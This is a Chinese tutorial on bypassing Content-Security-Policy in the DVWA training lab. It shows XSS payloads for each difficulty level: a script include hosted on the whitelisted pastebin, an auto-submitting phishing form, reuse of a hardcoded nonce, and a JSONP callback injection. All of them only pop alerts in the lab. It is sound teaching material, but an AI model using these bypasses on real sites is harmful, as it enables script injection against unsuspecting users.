一步一步學習DVWA滲透測試(CSP Bypass繞過內容安全策略)-第十二次課

小夥伴們,今天我們繼續學習。

Content-Security-Policy是指HTTP返回報文頭中的標籤,瀏覽器會根據標籤中的內容,判斷哪些資源可以加載或執行。翻譯爲中文就是繞過內容安全策略。是爲了緩解潛在的跨站腳本問題(XSS),瀏覽器的擴展程序系統引入了內容安全策略這個概念。原來應對XSS攻擊時,主要採用函數過濾、轉義輸入中的特殊字符、標籤、文本來規避攻擊。CSP的實質就是白名單制度,開發人員明確告訴客戶端,哪些外部資源可以加載和執行。開發者只需要提供配置,實現和執行全部由瀏覽器完成。

兩種方法可以啓用CSP:

  1. 一種是通過HTTP相應頭信息的Content-Security-Policy字段;
  2. 另一種是通過網頁標籤;

例如:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

以上例子中的說明如下:

  1. script-src腳本:只信任當前域名
  2. object-src:不信任任何URL,即不加載任何資源
  3. style-src樣式表:只信任cdn.example.org和third-party.org
  4. child-src:必須使用HTTPS協議加載。這個已從Web標準中刪除,新版本瀏覽器可能不支持。
  5. 其他資源:沒有限制其他資源

當啓用CSP後,不符合CSP的外部資源會被阻止加載。

爲什麼要使用CSP呢?

首先,CSP是一種聲明機制,允許Web開發者在其應用程序上指定多個安全限制,由支持的用戶代理(瀏覽器)來負責強制執行。CSP旨在作爲開發人員可以使用的工具,以各種方式保護其應用程序,減輕內容注入漏洞的風險和減少應用程序執行的特權。當前,CSP還處在快速的發展期,目前正在進行規範中的版本是CSP3CSP標準由用戶代理選擇實現。例如,Chrome具有完整的CSP2支持,並且實現了CSP3的大部分工作草案,僅在某些情況下可能會落後於實驗中的某些特性,而Mozilla Firefox和基於WebKit的瀏覽器則剛剛獲得了完整的CSP2支持。在實際使用中,CSP策略在Content-Security-Policy HTTP響應頭或元素中提供。

攻擊者如何繞過CSP進行攻擊呢?

1、Low低級別

源代碼如下:

<?php

$headerCSP 
"Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"// allows js from self, pastebin.com, jquery and google analytics.

header($headerCSP);

# https://pastebin.com/raw/R570EE00

?>
<?php

if (isset ($_POST['include'])) {
$page'body' ] .= "
    <script src='" 
$_POST['include'] . "'></script>
"
;
}

$page'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>

 

分析上面的代碼,可以看到允許訪問的javaScipt網站:

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;";

通過Burp工具,也能觀察到返回的報文中CSP的內容:

 

此時可以上pastebin網站上自己寫一個javascript代碼alert(“cobot”),保存後記住鏈接,https://pastebin.com/PsEgRcBT,然後在界面中輸入這個鏈接,結果如下:

 

如果能夠看到彈出下面信息框,說明pastebin上保存的js代碼被執行了。是因爲pastebin網站是被信任的。攻擊者可以把惡意代碼保存在受信任的網站上,然後把鏈接發送給需要攻擊的用戶,用戶點擊後,達到注入目的。

 

當然也可以通過CSRF實現攻擊,做一個釣魚網站,通過發送郵件等方式讓用戶收到鏈接後,誘惑點擊,用戶點擊後,則被被攻擊。例如如下構造一個釣魚網站


<form action=" http://192.168.92.129/DVWA/vulnerabilities/csp/" id="csp" method="post">

<input type="text" name="include" value=""/>

</form>

<script>

var form = document.getElementById("csp");

form[0].value="https://pastebin.com/PsEgRcBT ";

form.submit();

</script>

2、Medium中級別 

源代碼如下:

<?php

$headerCSP "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page'body' ] .= "
    " $_POST['include'] . "
";
}
$page'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

http頭信息中的script-src的合法來源發生了變化,說明如下

 

unsafe-inline,允許使用內聯資源,如內聯< script>元素,javascript:URL,內聯事件處理程序(如onclick)和內聯< style>元素。必須包括單引號。

nonce-source,僅允許特定的內聯腳本塊,nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA”

現在更加簡單了,可以直接輸入以下代碼

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">cobot")</script>

彈出如下信息框,表示注入成功。

 

有些瀏覽器都有自動檢測xss功能,禁止xss對話框彈出,而是彈出下面攔截提示信息

 

3、High高級別

源代碼如下:

<?php
$headerCSP "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page'body' ] .= "
    " $_POST['include'] . "
";
}
$page'body' ] .= '
<form name="csp" method="POST">
    <p>The page makes a call to ' DVWA_WEB_PAGE_TO_ROOT '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

 

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

窗體頂端

窗體底端

 

High級別沒有輸入框, 需要研究源代碼,首先先看一下 CSP 頭, 只有 script-src 'self';, 只允許本界面加載javascript 執行,然後研究了一下這個點擊顯示答案的邏輯(邏輯在 source/high.js裏), 大致如下:

點擊按鈕 -> js 生成一個 script 標籤(src 指向 source/jsonp.php?callback=solveNum), 並把它加入到 DOM 中 -> js 中定義了一個 solveNum 的函數 -> 因此 script 標籤會把遠程加載的 solveSum({"answer":"15"}) 當作 js 代碼執行, 而這個形式正好就是調用了 solveSum 函數, 然後這個函數就會在界面適當的位置寫入答案。

一般是沒辦法修改服務器上的 jsonp.php 文件的,但是在查看服務端源碼的時,可以看到下面代碼:

if (isset ($_POST['include'])) {
$page'body' ] .= "
    " $_POST['include'] . "

 

這裏還是會接收 include 參數, 這可以作爲一個注入點,可以構造 Payload: <script src="source/jsonp.php?callback=alert('cobot');"></script>, 並把這個當做 include 參數傳給界面就注入成功!

 

4、Impossible不可能級別

源代碼如下:

<?php

$headerCSP 
"Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php

if (isset ($_POST['include'])) {
$page'body' ] .= "
    " 
$_POST['include'] . "
"
;
}

$page'body' ] .= '
<form name="csp" method="POST">
    <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
'
;

Impossible.js

 

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp_impossible.php";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

該級別主要還是修復了 callback 參數可被控制問題,無法進行攻擊。

 

關注安全   關注作者

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章